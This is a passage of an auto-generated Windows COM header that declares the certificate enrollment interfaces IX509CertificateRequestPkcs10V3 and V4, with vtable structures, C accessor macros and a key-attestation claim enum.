__RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_SmimeCapabilities )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SignatureInformation )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509SignatureInformation **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyContainerNamePrefix )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CryptAttributes )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICryptAttributes **ppValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_X509Extensions )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509Extensions **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CriticalExtensions )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressOids )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectIds **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawDataToBeSigned )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Signature )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetCspStatuses )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509KeySpec KeySpec,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatuses **ppCspStatuses);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext context,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPrivateKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PrivateKey *pPrivateKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromPublicKeyTemplate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context,\n            /* [in] */ __RPC__in_opt IX509PublicKey *pPublicKey,\n            /* [in] */ __RPC__in_opt IX509EnrollmentPolicyServer *pPolicyServer,\n            /* [in] */ __RPC__in_opt IX509CertificateTemplate *pTemplate);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PolicyServer )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509EnrollmentPolicyServer **ppPolicyServer);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Template )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateTemplate **ppTemplate);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestPrivateKey )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AttestationEncryptionCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_EncryptionStrength )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ChallengePassword )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NameValuePairs )( \n            __RPC__in IX509CertificateRequestPkcs10V3 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509NameValuePairs **ppValue);\n        \n        END_INTERFACE\n    } IX509CertificateRequestPkcs10V3Vtbl;\n\n    interface IX509CertificateRequestPkcs10V3\n    {\n        CONST_VTBL struct IX509CertificateRequestPkcs10V3Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509CertificateRequestPkcs10V3_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509CertificateRequestPkcs10V3_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509CertificateRequestPkcs10V3_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509CertificateRequestPkcs10V3_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509CertificateRequestPkcs10V3_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509CertificateRequestPkcs10V3_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509CertificateRequestPkcs10V3_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509CertificateRequestPkcs10V3_Initialize(This,Context)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Context) ) \n\n#define IX509CertificateRequestPkcs10V3_Encode(This)\t\\\n    ( (This)->lpVtbl -> Encode(This) ) \n\n#define IX509CertificateRequestPkcs10V3_ResetForEncode(This)\t\\\n    ( (This)->lpVtbl -> ResetForEncode(This) ) \n\n#define IX509CertificateRequestPkcs10V3_GetInnerRequest(This,Level,ppValue)\t\\\n    ( (This)->lpVtbl -> GetInnerRequest(This,Level,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Type(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Type(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_EnrollmentContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EnrollmentContext(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SuppressDefaults(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressDefaults(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_SuppressDefaults(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SuppressDefaults(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_RenewalCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RenewalCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_RenewalCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_RenewalCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ClientId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ClientId(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_ClientId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ClientId(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n\n#define IX509CertificateRequestPkcs10V3_InitializeFromTemplateName(This,Context,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplateName(This,Context,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKey(This,Context,pPrivateKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKey(This,Context,pPublicKey,strTemplateName) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,Context,strCertificate,Encoding,InheritOptions) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeDecode(This,strEncodedData,Encoding)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,strEncodedData,Encoding) ) \n\n#define IX509CertificateRequestPkcs10V3_CheckSignature(This,AllowedSignatureTypes)\t\\\n    ( (This)->lpVtbl -> CheckSignature(This,AllowedSignatureTypes) ) \n\n#define IX509CertificateRequestPkcs10V3_IsSmartCard(This,pValue)\t\\\n    ( (This)->lpVtbl -> IsSmartCard(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_TemplateObjectId(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_TemplateObjectId(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_PublicKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_PrivateKey(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PrivateKey(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ReuseKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReuseKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_OldCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_OldCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Subject(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Subject(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_Subject(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Subject(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_CspStatuses(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatuses(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SmimeCapabilities(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SmimeCapabilities(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_SmimeCapabilities(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SmimeCapabilities(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SignatureInformation(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SignatureInformation(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_KeyContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyContainerNamePrefix(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_KeyContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyContainerNamePrefix(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_CryptAttributes(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CryptAttributes(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_X509Extensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_X509Extensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_CriticalExtensions(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CriticalExtensions(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_SuppressOids(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_SuppressOids(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_RawDataToBeSigned(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawDataToBeSigned(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Signature(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Signature(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_GetCspStatuses(This,KeySpec,ppCspStatuses)\t\\\n    ( (This)->lpVtbl -> GetCspStatuses(This,KeySpec,ppCspStatuses) ) \n\n\n#define IX509CertificateRequestPkcs10V3_InitializeFromTemplate(This,context,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromTemplate(This,context,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPrivateKeyTemplate(This,Context,pPrivateKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V3_InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate)\t\\\n    ( (This)->lpVtbl -> InitializeFromPublicKeyTemplate(This,Context,pPublicKey,pPolicyServer,pTemplate) ) \n\n#define IX509CertificateRequestPkcs10V3_get_PolicyServer(This,ppPolicyServer)\t\\\n    ( (This)->lpVtbl -> get_PolicyServer(This,ppPolicyServer) ) \n\n#define IX509CertificateRequestPkcs10V3_get_Template(This,ppTemplate)\t\\\n    ( (This)->lpVtbl -> get_Template(This,ppTemplate) ) \n\n\n#define IX509CertificateRequestPkcs10V3_get_AttestPrivateKey(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestPrivateKey(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_AttestPrivateKey(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestPrivateKey(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_AttestationEncryptionCertificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_AttestationEncryptionCertificate(This,Encoding,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_AttestationEncryptionCertificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_AttestationEncryptionCertificate(This,Encoding,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_EncryptionAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionAlgorithm(This,ppValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_EncryptionAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_EncryptionAlgorithm(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_get_EncryptionStrength(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_EncryptionStrength(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_EncryptionStrength(This,Value)\t\\\n    ( (This)->lpVtbl -> put_EncryptionStrength(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_ChallengePassword(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ChallengePassword(This,pValue) ) \n\n#define IX509CertificateRequestPkcs10V3_put_ChallengePassword(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ChallengePassword(This,Value) ) \n\n#define IX509CertificateRequestPkcs10V3_get_NameValuePairs(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_NameValuePairs(This,ppValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509CertificateRequestPkcs10V3_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0079 */\n/* [local] */ \n\ntypedef \nenum KeyAttestationClaimType\n    {\n        XCN_NCRYPT_CLAIM_NONE\t= 0,\n        XCN_NCRYPT_CLAIM_AUTHORITY_AND_SUBJECT\t= 0x3,\n        XCN_NCRYPT_CLAIM_AUTHORITY_ONLY\t= 0x1,\n        XCN_NCRYPT_CLAIM_SUBJECT_ONLY\t= 0x2,\n        XCN_NCRYPT_CLAIM_UNKNOWN\t= 0x1000\n    } \tKeyAttestationClaimType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0079_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0079_v0_0_s_ifspec;\n\n#ifndef __IX509CertificateRequestPkcs10V4_INTERFACE_DEFINED__\n#define __IX509CertificateRequestPkcs10V4_INTERFACE_DEFINED__\n\n/* interface IX509CertificateRequestPkcs10V4 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509CertificateRequestPkcs10V4;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab363-217d-11da-b2a4-000e7bbb2b09\")\n    IX509CertificateRequestPkcs10V4 : public IX509CertificateRequestPkcs10V3\n    {\n    public:\n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_ClaimType( \n            /* [retval][out] */ __RPC__out KeyAttestationClaimType *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_ClaimType( \n            /* [in] */ KeyAttestationClaimType Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AttestPrivateKeyPreferred( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AttestPrivateKeyPreferred( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509CertificateRequestPkcs10V4Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509CertificateRequestPkcs10V4 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ X509CertificateEnrollmentContext Context);\n        \n        HRESULT ( STDMETHODCALLTYPE *Encode )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *ResetForEncode )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetInnerRequest )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ InnerRequestLevel Level,\n            /* [retval][out] */ __RPC__deref_out_opt IX509CertificateRequest **ppValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Type )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out X509RequestType *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_EnrollmentContext )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out X509CertificateEnrollmentContext *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SuppressDefaults )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_RenewalCertificate )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out RequestClientInfoClientId *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ClientId )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ RequestClientInfoClientId Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromTemplateName )( \n            __RPC__in IX509CertificateRequestPkcs10V4 * This,\n            /* [in] */ 